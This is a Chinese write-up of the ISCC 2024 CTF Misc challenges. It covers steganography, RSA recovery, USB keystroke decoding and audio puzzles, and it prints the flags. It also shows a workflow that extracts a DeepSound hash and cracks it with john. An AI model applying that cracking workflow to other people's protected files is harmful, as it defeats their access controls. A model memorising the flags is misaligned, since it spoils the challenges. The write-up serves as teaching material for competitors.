ISCC 2024 部分wp

news2024/11/15 14:04:34

文章目录

    • 一、Misc
        • 1、Number_is_the_key
        • 2、FunZip
        • 3、擂台—— 重“隐”;
        • 4、RSA_KU
        • 5、时间刺客
        • 6、成语学习
        • 7、 精装四合一
        • 8、钢铁侠在解密
        • 9、有人让我给你带个话
        • 10、Magic_Keyboard
        • 11、工业互联网模拟仿真数据分析
    • 二、Web
        • 1、还没想好名字的塔防游戏
        • 2、代码审计
        • 3、原神启动
        • 4、Flask中的pin值计算
        • 5、掉进阿帕奇的工资
        • 6、实战——阶段一: 内网服务器漏洞利用
        • 7、回来吧永远滴神
        • 8、这题我出不了了
        • 9、一道普通的XSS题目
        • 10、与时俱进
    • 三、Reverse
        • 迷失之门
    • 四、Pwn
        • chaos
    • 五、mobile
        • Puzzle_Game

一、Misc

1、Number_is_the_key

下载附件得到Excel表,打开什么都没发现;

在这里插入图片描述

那丢进010查看,发现pk开头果断改后缀zip;

在这里插入图片描述

打开zip在里面查找,发现sheet1.xml里面有二维码点阵;

在这里插入图片描述

这里有两个方法可以恢复,第一种就是普通的脚本(网上有类似稍加修改即可),第二种改回Excel表格,在里面替换修改表格的宽高即可,这里我选择第二种较方便;

在这里插入图片描述

这里注意一点,一点要选Ctrl+A全选在尽进行替换,最后点击全部替换即可;

在这里插入图片描述

但是发现二维码太大还是没办法扫到,这里我们可以调整格子的宽高即可;

在这里插入图片描述

在这里插入图片描述

扫描二维码得到flag;

ISCC{Yi3icOwUaoV1}
2、FunZip

下载附件得到一个有编码的txt;

在这里插入图片描述

这一看就是对txt进行了base64进行加密,那我们使用工具puzzlesolver梭哈即可;

工具已放评论区自取;

在这里插入图片描述

ISCC{CiXCNGQHE7OV}
3、擂台—— 重“隐”;

下载附件,一个wav,一张png;

在这里插入图片描述

先分析png,丢进010分析;

在这里插入图片描述

发现末尾有东西,那我们丢进kali进行分析;
图片正常显示,基本可以确认宽高无问题,那我们直接对图片进行分离试试;

在这里插入图片描述
在这里插入图片描述

有锁,那我们就找password,既然图片已经分析完毕,那我们直接从wav下手;

丢进Audacity无果;

在这里插入图片描述

仔细听wav发现是某种拨号声,找一个分析拨号的工具,猜测这个拨号声就是password;

找到工具dtmf2num,工具放评论区自取;

这里注意音频放同一目录下;

在这里插入图片描述
在这里插入图片描述

一开始以为这就是flag但是发现怎么尝试都不对,后来发现两位一组配合九键才是正确的password

例如;82——u/U,73——r/R,以此类推最后发现刚刚好。

urhdbdfge

URHDBDFGE

打开txt发现是一串brainfuck加密,找一个在线解码即可;

在这里插入图片描述
在这里插入图片描述

ISCC{y0u_f1nd_t

喔泥马,得到一半,害,别慌,按道理既然图片里面有个txt,那就猜测wav也有,那我们直接上deepsound查txt!

在这里插入图片描述

然后在图片里面找密码,翻了半天没有翻到,没办法直接上爆破(严格来说其实不算是爆破);

简单来说是通过deepsound2john.py脚本来获得密码的hash值,代码如下;

#! python3
 
import logging
import os
import sys
import textwrap
 
def decode_data_low(buf):
  return buf[::2]
 
def decode_data_normal(buf):
  out = bytearray()
  for i in range(0, len(buf), 4):
    out.append((buf[i] & 15) << 4 | (buf[i + 2] & 15))
  return out
 
def decode_data_high(buf):
  out = bytearray()
  for i in range(0, len(buf), 8):
    out.append((buf[i] & 3) << 6     | (buf[i + 2] & 3) << 4 \
             | (buf[i + 4] & 3) << 2 | (buf[i + 6] & 3))
  return out
 
 
def is_magic(buf):
  # This is a more efficient way of testing for the `DSCF` magic header without
  # decoding the whole buffer
  return (buf[0] & 15)  == (68 >> 4) and (buf[2]  & 15) == (68 & 15) \
     and (buf[4] & 15)  == (83 >> 4) and (buf[6]  & 15) == (83 & 15) \
     and (buf[8] & 15)  == (67 >> 4) and (buf[10] & 15) == (67 & 15) \
     and (buf[12] & 15) == (70 >> 4) and (buf[14] & 15) == (70 & 15)
 
def is_wave(buf):
  return buf[0:4] == b'RIFF' and buf[8:12] == b'WAVE'
 
 
def process_deepsound_file(f):
  bname = os.path.basename(f.name)
  logger = logging.getLogger(bname)
 
  # Check if it's a .wav file
  buf = f.read(12)
  if not is_wave(buf):
    global convert_warn
    logger.error('file not in .wav format')
    convert_warn = True
    return
  f.seek(0, os.SEEK_SET)
  # Scan for the marker...
  hdrsz = 104
  hdr = None
  while True:
    off = f.tell()
    buf = f.read(hdrsz)
    if len(buf) < hdrsz: break
    if is_magic(buf):
          hdr = decode_data_normal(buf)
          logger.info('found DeepSound header at offset %i', off)
          break
    f.seek(-hdrsz + 1, os.SEEK_CUR)
  if hdr is None:
    logger.warn('does not appear to be a DeepSound file')
    return
  # Check some header fields
  mode = hdr[4]
  encrypted = hdr[5]
  modes = {2: 'low', 4: 'normal', 8: 'high'}
  if mode in modes:
    logger.info('data is encoded in %s-quality mode', modes[mode])
  else:
    logger.error('unexpected data encoding mode %i', modes[mode])
    return
  if encrypted == 0:
    logger.warn('file is not encrypted')
    return
  elif encrypted != 1:
    logger.error('unexpected encryption flag %i', encrypted)
    return
  sha1 = hdr[6:6+20]
  print('%s:$dynamic_1529$%s' % (bname, sha1.hex()))
if __name__ == '__main__':
  import argparse
  parser = argparse.ArgumentParser()
  parser.add_argument('--verbose', '-v', action='store_true')
  parser.add_argument('files', nargs='+', metavar='file',
    type=argparse.FileType('rb', bufsize=4096))
  args = parser.parse_args()
  if args.verbose:
    logging.basicConfig(level=logging.INFO)
  else:
    logging.basicConfig(level=logging.WARN)
  convert_warn = False
  for f in args.files:
    process_deepsound_file(f)
  if convert_warn:
    print(textwrap.dedent.rstrip(), file=sys.stderr)

这里我在kali里面操作的;

vim 123.py

在这里插入图片描述

导入进hash.txt即可;

python 123.py music.wav > hash.txt

并使用Kali的john工具来暴力破解原相,得到password;

john hash.txt

在这里插入图片描述

密码;teenager

成功导出,打开你会发现是个文本盲水印;

在这里插入图片描述

别怕我们有PuzzleSolver万能解码工具。丢进txt解码即可;

在这里插入图片描述

3HodAcpU52ryNLs4f7xBMqmjA

解出来发现是个base58,找个解码就行,随便用啥工具,我用的ToolsFx;

工具在评论区自取;

在这里插入图片描述

这里%7D是}的意思,ucode编码嘛;

最后拼接即可;

ISCC{y0u_f1nd_t74_re2l_w4t3rm4rk}
4、RSA_KU

下载附件得到;

在这里插入图片描述

经典RSA没什么说的,脚本梭哈;

先算出p、q

from sympy import symbols, Eq, solve

# 定义符号变量 p 和 q
p, q = symbols('p q', integer=True)

# 给定的方程
eq1 = Eq((p - 2) * (q - 1), 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668067056973833292274532016607871906443481233958300928276492550916101187841666991944275728863657788124666879987399045804435273107746626297122522298113586003834)
eq2 = Eq((p - 1) * (q - 2), 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668066482326285878341068180156082719320570801770055174426452966817548862938770659420487687194933539128855877517847711670959794869291907075654200433400668220458)
eq3 = Eq(p * q, 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668100946205876629688057506460903842119543114630198205843883677412125928979399310306206497958051030594098963939139480261500434508726394139839879752553022623977)

# 求解方程组
solutions = solve((eq1, eq2, eq3), (p, q))

# 检查结果是否为解的列表
if isinstance(solutions, list):
    # 如果有多个解,则打印所有解
    for sol in solutions:
        print(f"p = {sol[0]}, q = {sol[1]}")
else:
    # 如果只有一个解,则打印该解
    print(f"p = {solutions[p]}, q = {solutions[q]}")

得到;

在这里插入图片描述

条件已全部满足脚本梭哈即可;

from Crypto.Util.number import inverse, long_to_bytes

# 已知值
n = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668100946205876629688057506460903842119543114630198205843883677412125928979399310306206497958051030594098963939139480261500434508726394139839879752553022623977
e = 65537
c = 75766262602173947947315858580952225983622657709089882848511404734490290076406150199798837352910981802804416097404105898476177884508640407765047095990736796975565150807456634928354833839456684311349985183993952174346191847600793718006141700899387563566150861755552512843348970189147270827332208185646688195020

# 已解出的 p 和 q
p = 11679509046055093484387585536769973960915016129595089156764897709796981174994469835617477280580153684696296947700908005372625963068761884667061288424062299
q = 11104861498641160020551133747582851050482827883841239117180799157472078278661946047575808556331157873693827396366774529894387508349540416345196575506278923

# 计算 φ(n)
phi = (p - 1) * (q - 1)

# 计算私钥 d
d = inverse(e, phi)

# 解密密文 c
m = pow(c, d, n)

# 将明文转换为字节序列
flag = long_to_bytes(m)

# 打印结果
print(flag.decode())

运行直接得到flag;

ISCC{YrUjF9W40uirNUcvmE--}

在这里插入图片描述
简单分析一下;
这个脚本将使用这些值来计算私钥 d,然后用它来解密给定的密文 c。解密后的明文将被转换为字节序列;

注意;
确保在Python环境中已安装了 pycryptodome 库,因为脚本使用了这个库中的 inverselong_to_bytes 函数。如果尚未安装,可以通过运行 pip install pycryptodome 来安装它。

这个脚本应该能够正确解密密文 c 并打印出解密后的消息。如果解密的文本无法正常显示(比如包含非打印字符或编码错误),这可能是因为解密得到的数据不是有效的UTF-8编码字符串。

5、时间刺客

下载附件得到一个有锁的zip和流量包;

先看流量包发现USB,那就是USB键盘解密;

在这里插入图片描述

丢kali里面;

tshark -r 123.pacp -T fields -e usb.capdata | sed '/^\s*$/d' > 1.txt

在这里插入图片描述

接下来直接提取出来,参考:CISCN2022 ez_usb
得到了所有的键盘输入(注意需加冒号)

f=open('1.txt','r')

fi=open('666.txt','w')

while 1:

    a=f.readline().strip()

    if a:

        if len(a)==16: # 鼠标流量的话len改为8

            out=''

            for i in range(0,len(a),2):

                if i+2 != len(a):

                    out+=a[i]+a[i+1]+":"

                else:

                    out+=a[i]+a[i+1]

            fi.write(out)

            fi.write('\n')

    else:

        break

运行得到;

在这里插入图片描述

然后对输出的文本进行转义;

normalKeys = {"04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09": "f", "0a": "g", "0b": "h", "0c": "i",

              "0d": "j", "0e": "k", "0f": "l", "10": "m", "11": "n", "12": "o", "13": "p", "14": "q", "15": "r",

              "16": "s", "17": "t", "18": "u", "19": "v", "1a": "w", "1b": "x", "1c": "y", "1d": "z", "1e": "1",

              "1f": "2", "20": "3", "21": "4", "22": "5", "23": "6", "24": "7", "25": "8", "26": "9", "27": "0",

              "28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "-", "2e": "=", "2f": "[",

              "30": "]", "31": "\\", "32": "<NON>", "33": ";", "34": "'", "35": "<GA>", "36": ",", "37": ".", "38": "/",

              "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",

              "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}

shiftKeys = {"04": "A", "05": "B", "06": "C", "07": "D", "08": "E", "09": "F", "0a": "G", "0b": "H", "0c": "I",

             "0d": "J", "0e": "K", "0f": "L", "10": "M", "11": "N", "12": "O", "13": "P", "14": "Q", "15": "R",

             "16": "S", "17": "T", "18": "U", "19": "V", "1a": "W", "1b": "X", "1c": "Y", "1d": "Z", "1e": "!",

             "1f": "@", "20": "#", "21": "$", "22": "%", "23": "^", "24": "&", "25": "*", "26": "(", "27": ")",

             "28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "_", "2e": "+", "2f": "{",

             "30": "}", "31": "|", "32": "<NON>", "33": "\"", "34": ":", "35": "<GA>", "36": "<", "37": ">", "38": "?",

             "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",

             "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}

output = []

keys = open('666.txt')  # 这里是加号冒号的数据

for line in keys:

    try:

        if line[0] != '0' or (line[1] != '0' and line[1] != '2') or line[3] != '0' or line[4] != '0' or line[

            9] != '0' or line[10] != '0' or line[12] != '0' or line[13] != '0' or line[15] != '0' or line[16] != '0' or \

                line[18] != '0' or line[19] != '0' or line[21] != '0' or line[22] != '0' or line[6:8] == "00":

            continue

        if line[6:8] in normalKeys.keys():

            output += [[normalKeys[line[6:8]]], [shiftKeys[line[6:8]]]][line[1] == '2']

        else:

            output += ['[unknown]']

    except:

        pass

keys.close()

flag = 0

print("".join(output))

for i in range(len(output)):

    try:

        a = output.index('<DEL>')

        del output[a]

        del output[a - 1]

    except:

        pass

for i in range(len(output)):

    try:

        if output[i] == "<CAP>":

            flag += 1

            output.pop(i)

            if flag == 2:

                flag = 0

        if flag != 0:

            output[i] = output[i].upper()

    except:

        pass

print('output :' + "".join(output))

运行得到;

在这里插入图片描述

这个应该就是密码了,打开zip,注意(里面两层zip)

pr3550nwardsa2fee6e0

PR3550NWARDSA2FEE6E0

在这里插入图片描述

全是空文件,根据提示是时间,那就直接找时间戳,丢给GPT生成脚本,读取日期转ASCll即可;

import os
import time

def get_txt_files(directory):
    txt_files = []
    for file in os.listdir(directory):
        if file.endswith(".txt"):
            txt_files.append(os.path.join(directory, file))
    return txt_files

def get_modification_time(filename):
    modification_time = os.path.getmtime(filename)
    return time.localtime(modification_time)

def format_time(modification_time):
    return (modification_time.tm_year, modification_time.tm_mon, modification_time.tm_mday,
            modification_time.tm_hour, modification_time.tm_min, modification_time.tm_sec)

def process_time(datetime):
    return datetime[-2] * 60 + datetime[-1]

def main():
    directory = "35"  # 修改为您要读取的文件夹名称
    txt_files = get_txt_files(directory)
    dict_output = {}
    for i, txt_file in enumerate(txt_files):
        modification_time = get_modification_time(txt_file)
        formatted_time = format_time(modification_time)
        result = process_time(formatted_time)
        dict_output[i] = chr(result)
    print("Dictionary contents:")
    print(dict_output)

    flag = ""
    for i in range(len(txt_files)):
        flag += dict_output[i]

    print('ISCC{' + flag + '}')

if __name__ == "__main__":
    main()

运行即可;

在这里插入图片描述

6、成语学习

下载附件一个有锁zip、一个pacp

打开pacp简单分析一下,查看协议分级,发现有http有文件;

在这里插入图片描述

这里为了方便我直接全部导出,按大小排序,且使用010分析;

在这里插入图片描述
在这里插入图片描述

往下翻一点发现png头,前面全部删掉,后缀保存为png

在这里插入图片描述

一眼宽高问题;

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

得到key

57pmYyWt

打开zip,发现是空白文件,010打开发现pk开头,后缀改zip即可;

在这里插入图片描述

打开发现很多文件,一个一个看太麻烦了,那怎么办,这里教个快方法吗,丢进kali使用find快查找

在这里插入图片描述

	find ./* -name fl*

在这里插入图片描述

打开txt发现hmacmd5,找个在线网站解码即可;

在这里插入图片描述

网址;https://www.mklab.cn/utils/hmac

明文;成语
密文;prawn

解密得到flag;

在这里插入图片描述

7、 精装四合一

下载附件得到四张图片;

使用010打开使用十六进制查找(AE 42 60 82),并且删除前面前面所有数据及AE 42 60 82;

在这里插入图片描述

然后得到四张图片的冗余数据,然后依次打开,异或0xff异或最快速的方法可以使用010editor:十六进制然后点击二进制异或;

在这里插入图片描述

接着就是依次把数据提取出来;
简单来说(他是把一个zip数据,均匀分布到4个文件里,那么我们需要依次读取4个文件)
那我们使用zip
找师傅要个脚本生成zip;

fp1 = open('1.png','rb')
fp2 = open('2.png','rb')
fp3 = open('3.png','rb')
fp4 = open('4.png','rb')
fp5 = open('5.zip','wb')
#这里的1.png 2.png 3.png 4.png是我重命名的,如果你异或完第四位
 #如果是4b,就是2.png
 #如果是03,就是3.png
 #如果是04,就是4.png
for i in range(3176):
    fp5.write(fp1.read(1))
    fp5.write(fp2.read(1))
    fp5.write(fp3.read(1))
    fp5.write(fp4.read(1))

fp5.write(fp1.read())

在这里插入图片描述

得到一个有锁的zip,这里直接爆破即可密码;

65537

打开doc把这个覆盖图片移走,能够得到一堆数字,这些就是RSA的模数n

在这里插入图片描述

这里小细节如果你移走之后还是没有看见n,那就全选调成无间距即可;

在这里插入图片描述

在使用010打开发现pk,提取出来保存zip格式,发现了两张图片;

在这里插入图片描述
在这里插入图片描述

这里先使用yafu分解模数n,得到p、q;
网址;http://factordb.com/

在这里插入图片描述

得到p、q,经典RSA加密了,直接脚本梭哈即可;

from Crypto.Util.number import bytes_to_long, long_to_bytes
import gmpy2

e = 65537
n = 16920251144570812336430166924811515273080382783829495988294341496740639931651
p = 167722355418488286110758738271573756671
q = 100882503720822822072470797230485840381

phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)

# 读取加密的文件
c = bytes_to_long(open('true_flag.jpeg', 'rb').read())

# 解密
m = pow(c, d, n)

# 将解密后的明文保存到文件
print(long_to_bytes(m))
print(c)

最后运行即可;

在这里插入图片描述
最后复制丢给GPT转文本即可;

8、钢铁侠在解密

下载附件得到一张bmp后缀结尾的图片、还有一个txt;

打开txt查看;

在这里插入图片描述

看着比较眼熟,猜测一下富兰克林攻击,但是缺少C1以及C2呀,那就应该是在图片里面;

简单分析一下图片,既然是bmp结尾那就尝试使用silenteye分析;

在这里插入图片描述

哎,发现了txt,打开查看;

在这里插入图片描述

果然就是我们需要的C1C2;

做到这里,这题让我想起某年领航杯的一道密码,及其相似,因为e的值也是一样的大,但是了解到了half-gcd;

链接:https://www.cnblogs.com/mumuhhh/p/17789591.html

又回去看了一下,脚本可以直接搬运;

def HGCD(a, b):
    if 2 * b.degree() <= a.degree() or a.degree() == 1:
        return 1, 0, 0, 1
    m = a.degree() // 2
    a_top, a_bot = a.quo_rem(x ^ m)
    b_top, b_bot = b.quo_rem(x ^ m)
    R00, R01, R10, R11 = HGCD(a_top, b_top)
    c = R00 * a + R01 * b
    d = R10 * a + R11 * b
    q, e = c.quo_rem(d)
    d_top, d_bot = d.quo_rem(x ^ (m // 2))
    e_top, e_bot = e.quo_rem(x ^ (m // 2))
    S00, S01, S10, S11 = HGCD(d_top, e_top)
    RET00 = S01 * R00 + (S00 - q * S01) * R10
    RET01 = S01 * R01 + (S00 - q * S01) * R11
    RET10 = S11 * R00 + (S10 - q * S11) * R10
    RET11 = S11 * R01 + (S10 - q * S11) * R11
    return RET00, RET01, RET10, RET11


def GCD(a, b):
    print(a.degree(), b.degree())
    q, r = a.quo_rem(b)
    if r == 0:
        return b
    R00, R01, R10, R11 = HGCD(a, b)
    c = R00 * a + R01 * b
    d = R10 * a + R11 * b
    if d == 0:
        return c.monic()
    q, r = c.quo_rem(d)
    if r == 0:
        return d
    return GCD(d, r)
#填入你的
c1 = 5017369768694090882032874151790454013801219395405287358207261245363256829248608596502248566398520888429123068081569109393280813077504052950602807292263976569549950695855034991600627474248601023155417605655770430049715209036466126332158721754416840461535178102241673458740266136324362194445284419127770862459105202409819693263389282320915294170572475633725510148135550165243317205799536627815353543347307896706247209832387038159128207210034149401836142035780479451946680015887015805801833689166356479093336955344013041439948376767333629389510835402505659305883721660844242226225426796547014196608222731396847442033989
c2 = 507384238405164894777070216936058414248957470621682465979969565874673475531556308157966971978727929187885326824096036880804838325461008248518925654961162689385362314521317488538713528411196811305410646950164637167443757506100731566433818518444499218820451016697511365389342947997664515635533495319642108557081560343565725150552083709866564355720051752298333524185795164369635622805913094004540556292465465504776524188179971013639183466958695108211645591808065992454954828366833086197711882310642589818019027277798204029101473373561664384967568947638228117979763658236419828589469635113089784255797757642551645627462
N = 14333611673783142269533986072221892120042043537656734360856590164188122242725003914350459078347531255332508629469837960098772139271345723909824739672964835254762978904635416440402619070985645389389404927628520300563003721921925991789638218429597072053352316704656855913499811263742752562137683270151792361591681078161140269916896950693743947015425843446590958629225545563635366985228666863861856912727775048741305004192164068930881720463095045582233773945480224557678337152700769274051268380831948998464841302024749660091030851843867128275500525355379659601067910067304244120384025022313676471378733553918638120029697
e = 52595

pad1 = 1769169763
pad2 = 1735356260
PR.<x>=PolynomialRing(Zmod(N))
g1 = (x*2^32+pad1)^e - c1
g2 = (x*2^32+pad2)^e - c2
X=584734024210292804199275855856518183354184330877
print(g1(X),g2(X))
res = GCD(g1,g2)
m = -res.monic().coefficients()[0]
print(m)

print(bytes.fromhex(hex(m)[2:]).decode().replace("flag{",'ISCC{'))

这里需要注意;

这个脚本不能在普通的Python环境中运行,因为它使用了SageMath特有的库和函数。例如,PolynomialRingZmod 是SageMath中的数学结构,它们不是Python标准库的一部分。SageMath是一个专门的数学软件系统,它扩展了Python,使其可以进行更高级的数学运算,特别是在符号计算、数学结构构造和密码学应用中。

简单来说什么是SageMath?

SageMath Notebook提供了一个交互式的环境,可以直接运行SageMath代码,并查看结果。如果尝试在没有SageMath的Python环境中运行此代码,您会遇到导入错误和未定义函数的问题,因为Python的标准库中没有定义这些函数和类。

工具已放评论区(注意安装时间有点长等待片刻即可;)

这里是官方链接可以选择自己对应的版本;https://mirrors.aliyun.com/sagemath/win/index.html

点击并且运行SageMath 9.3 Notebook;

在这里插入图片描述

脚本直接复制粘贴进去。点击运行即可(选中运行),这里输出结果较为漫长等待即可;

在这里插入图片描述

最后得出flag;

在这里插入图片描述

参考文章:https://www.cnblogs.com/mumuhhh/p/17789591.html

9、有人让我给你带个话

下载附件一张图片和一个空白文件,先分析图片,丢进kali使用zsteg查看有什么隐写数据;

zsteg -图片

在这里插入图片描述

不难看出里面有Rar文件,那就导出;

zsteg -E "extradata:0" Tony.png >123.rar 

在这里插入图片描述

得到一张png图片,根据图片名字得到提示,这里不太清楚那我们百度一下;

在这里插入图片描述

大致随便看了一下,简单来说就是语音音频经过 Google/lyra 低比特率压缩。

天琴座(Lyra)利用这些新的自然发声生成模型的力量来维持参数编解码器的低比特率,同时实现高质量的音频效果,达到与当今大多数流媒体和通信平台中使用的最新波形编解码器相当的水平。波形编解码器的缺点在于,它们通过逐个样本压缩和发送信号来达到高质量,这需要更高的比特率,而且在大多数情况下,并不能自然地再现声音。

生成模型面临的一个问题是其计算复杂性。Lyra 通过使用更为经济的递归生成模型(如 WaveRNN 的变种)来避免这一问题。虽然这些模型的工作速率较低,但它们能够并行生成不同频率范围内的多个信号,然后在所需的采样率下将其合并为单个输出信号。这一技巧使得 Lyra 不仅可以在云服务器上运行,还可以实时在中端手机设备上运行,其处理延迟为 90 毫秒,与其他传统语音编解码器一致。之后,对该生成模型进行数千小时的语音数据训练,并类似于 WaveNet 进行优化,以准确地重现输入音频。

工具:https://github.com/google/lyra

跟着教程一步步安装即可;(推荐Ubuntu)

教程推荐:https://blog.csdn.net/qq_36959443/article/details/116136965

在这里插入图片描述

安装完成,开始使用工具解密,将附件里面空白文件改为1.lyra即可;

bazel-bin/lyra/cli_example/decoder_main --encoded_path=1.lyra --output_dir=1/--bitrate=3200

在这里插入图片描述

直接得到音频文件,以为是什么隐写,结果听了一下,就是单纯的社会核心价值观解密;

在这里插入图片描述

随便找个wav转语音网站导出txt,找一个在线社会主义核心价值观解码网站即可;

wav转文本;https://www.pdf365.cn/voice-to-word/

在这里插入图片描述

解码网站;http://www.hiencode.com/cvencode.html

在这里插入图片描述
ISCC{8NQ3EHJRNQ02}

这题其实中规中矩难就难在环境问题,大家很多都没装成功;

10、Magic_Keyboard

点击附件下载会自动跳到一个视频网站,接着我们需要下载并保存;

在这里插入图片描述
仔细听视频里面的声音,发现是键盘敲击的声音,那我们百度一下,发现PBCTF有类似的题目看了一下大佬的wp稍微有点思路了;

链接:https://blog.csdn.net/weixin_43234021/article/details/120714151

简单来说,这道题就是先消除键盘杂音,将每个键的音频拆分为较短的音频样本,为每个键分配一个字母并求解生成的替换密码。

俗一点;猜奖

这里我拿的的是这位师傅的exp,随便修改就可以继续使用;

链接:https://github.com/tttttx2/CTF_Writeups/blob/main/PBCTF-2021/Is_that_your_packet.md

这里随便输一个:qwertyuioplkjhgf(对应脚本里面的推荐码表)

注意!!!脚本里面的音频时长改成自己的音频时长!!!

脚本:

from scipy.io import wavfile
import numpy as np

# 读取 WAV 文件并跳过文件头
with open('./attachment-45.wav', 'rb') as f:
    content = f.read()
content = content[0x2c:]

# 按音频长度和预期按键次数划分内容
audio_length_seconds = 34  # 替换为实际音频长度
expected_key_presses = audio_length_seconds * 2  # 每秒两次按键
chunk_size = len(content) // expected_key_presses
chunks = [content[i*chunk_size:(i+1)*chunk_size] for i in range(expected_key_presses)]

# 计算每个分块的 avg 值
avg_values = []
for chunk in chunks:
    # 将每个分块的字节数据转换为 16 位整数
    samples = np.frombuffer(chunk, dtype=np.int16)
    avg_value = np.mean(np.abs(samples))
    avg_values.append(avg_value)
#ghijgjgjklkhmnkiinkkmikomiinmpmqmhmpmomrmiinksmimnksmrmikq
#495343437b796f755f776572655f6c6d696c626c655f70656f706c657d
# 映射 avg 值到字母
alphabet = "qwertyuioplkjhgf"  # 推荐码表

avg_map = {}

i = 0
res = ""

# 映射 avg 值
for value in avg_values:
    value_str = str(value)
    if value_str not in avg_map:
        avg_map[value_str] = alphabet[i % len(alphabet)]  # 循环使用字母表
        i += 1
    res += avg_map[value_str]

# 打印结果

print(avg_map)
print(res)

运行结果得到;
在这里插入图片描述

qwerqrqrtytwuiteeiuruoupeiulueeiuoupuouktwtquwuruoukeitjuetltruiupth

继续分析:
接着PBCTF里面是16个键位,分别是0-9,a-f,
那我们就用这16个键位慢慢替换成上面我们用的字母表,PBCTF都是两位代表一个字符,ascii表里面好多字母都超过3位数字了,那这都是两位肯定就是16进制了;

在这里插入图片描述
简单来说因为是使用ISCC{}包裹,所以一般格百分之八十可以确定为ISCC{},I——0x49,
S——0x53,C——0x43,{}——0x7d,0x7b

所以这里我们就使用495343437b替换最开始的字符串(注意脚本还是刚刚上面的脚本);

所以也就说此时我们替换成了:495343437iklpd

在这里插入图片描述

运行得到一串十六进制,丢去解码网站;

49534343434943455343474b534l4553474b474k49444943474k534j454l43434b4h

网站链接:https://mm.imbyter.com/#recipe=From_Hex(‘Auto’)&input=NDk1MzQzNDM0MzQ5NDM0NTUzNDM0NzRiNTM0bDQ1NTM0NzRiNDc0azQ5NDQ0OTQzNDc0azUzNGo0NTRsNDM0MzRiNGgNCg

解码得到;

ISCCCICESCGKSESGKGIDICGSECCK

发现并不是我们想要的,那就在原来的基础上删掉一些(多调试调试);直到改成ISCC{}前后包裹为止;

在这里插入图片描述
最后终于在某一刻变成了:49537b6ioplkjhgf

495343437b796i755i636o6p5i6l655i6o6p6o6k797469636o6k5i7j657l736i6p7h

接着我们解码;
在这里插入图片描述
在这里插入图片描述
这里得到;ISCC{y?u?c????e?????ytic????e?s???}

猜一手;

y?u——you

现在变成;

ISCC{you_c???e???ytic???e?s???}

继续猜码表:49537b6fc21djhgf(运行脚本)

丢到在线解码得到:495343437b796f755f636c625f61655f6c626c6d797469636c6d5f7j6571736f627h

解码:ISCC{you_clb_ae_lblmyticlm_?eqsob}

这里基本就可以看出分隔那一些。结合前面的我们可以得到;

ISCC{you_c???e???ytic??_?e?s??}

又变成了这样;

简单分析一点,如果写成you can be 那就是——你可以是什么什么

那就暂时先这样:ISCC{you_can_be_???ytic??_?e?s??}

后面去研究了很多师傅的flag,我发现最后很多什么什么的人(注意我们这里最后也非常像人的单词)

那就又可以写成ISCC{you_can_be_???ytic??_person}最后的人单词以及问号数量位置都可以对得上;

所以这里翻译出来那就是你可以是什么的人,没事直接反手丢给GPT看看一共有多少组合;

在这里插入图片描述
最后前前后后就那么多满足我们条件的,最后一个个尝试

但是尝试了还是不对,但是我感觉就差一点,于是我就想到了翻译;

那就直接排查合成和乳酸,就只剩下神秘和分析的,但是我们的?最贴切还是分析的,所以我们可以猜测翻译!

你可以是善于分析的人

在这里插入图片描述

最后得出flag;

ISCC{you_can_be_analytical_person}

最后总结了一下我的推荐码表:

49537b6f1e2c0dgh

十六进制:

495343437b796f755f63616e5f62655f616e616c79746963616c5f706572736f6e7d

哈哈哈哈哈,这题挺好玩的,猜猜乐(当然每个人猜的方法都不一样,看你怎么去猜,这边仅供参考喔~)

11、工业互联网模拟仿真数据分析

下载打开word

在这里插入图片描述

具体讲了题目和wires hark的使用方法

在这里插入图片描述

看了一眼自带的脚本,分析下来就是最后的结果需要进行MD5加密进行提交

分析pcag

在这里插入图片描述

里面全都是udp协议,相同ip出现了好多次
然后数里面的ip个数和种类

在某些网络会话中,数据包可能保持固定大小,再这里面看192.168.1.4和192.168.1.2

在这里插入图片描述

而通信包数据某些字段可能为确定的,请给出确定字节数值。

tshark -r a.pcap -T fields -e data.data -Y "data.len==12"                                                 
2024f7b039ae1f546c8e8b1b                                                                                                                                                                                        
2024b939b6fdd3a92dacee64                                                                                                                                                                                        
2024fd300d3fd17b85d1ae51                                                                                                                                                                                        
20249cf615176e00d3fde264                                                                                                                                                                                        
20247b5207a1d2b639fe1e55                                                                                                                                                                                        
202432b3b42ff36424a15d01                                                                                                                                                                                        
2024f2122ad847094be81d58                                                                                                                                                                                        
2024e866d7ec7b7d5ae618bf                                                                                                                                                                                        
20244057c7e66ca371b2c938                                                                                                                                                                                        
202433b4fba38bac7e29bc6a                                                                                                                                                                                        
2024796986cd9b1fc559ad61                                                                                                                                                                                        
20248c6b6efd392e9839a3eb                                                                                                                                                                                        
202462434670e7e76d766c58                                                                                                                                                                                        
20241cc66ab532ff8c8f1d2e

很明显就是前面的

2024

而这些中,找了一会时间差别,只有192.168.1.3和192.168.1.5之前时间差是平均有规律的,都是0.06秒

在这里插入图片描述
1
在这里插入图片描述
1

在这里插入图片描述
1
在这里插入图片描述

192.168.1.3    192.168.1.5    0.06

那么既然这几个节点能进行传输,那他们就存在某种逻辑关联性
看文末的流量分组,就能看出这三个IP是有业务关联性的

192.168.1.2    192.168.1.3    192.168.1.6
  1. 题目五:网络数据包往往会添加数据完整性校验值,请分析出数据校验算法名称及校验值在数据包的起始位和结束位(倒数位)
    答案:XXXXX,X,X
    五位数字,首先想到CRC16和CRC32 倒数位必为1
    为CRC16,4,1时成功提交
    192.168.1.2,192.168.1.4,24
    2024
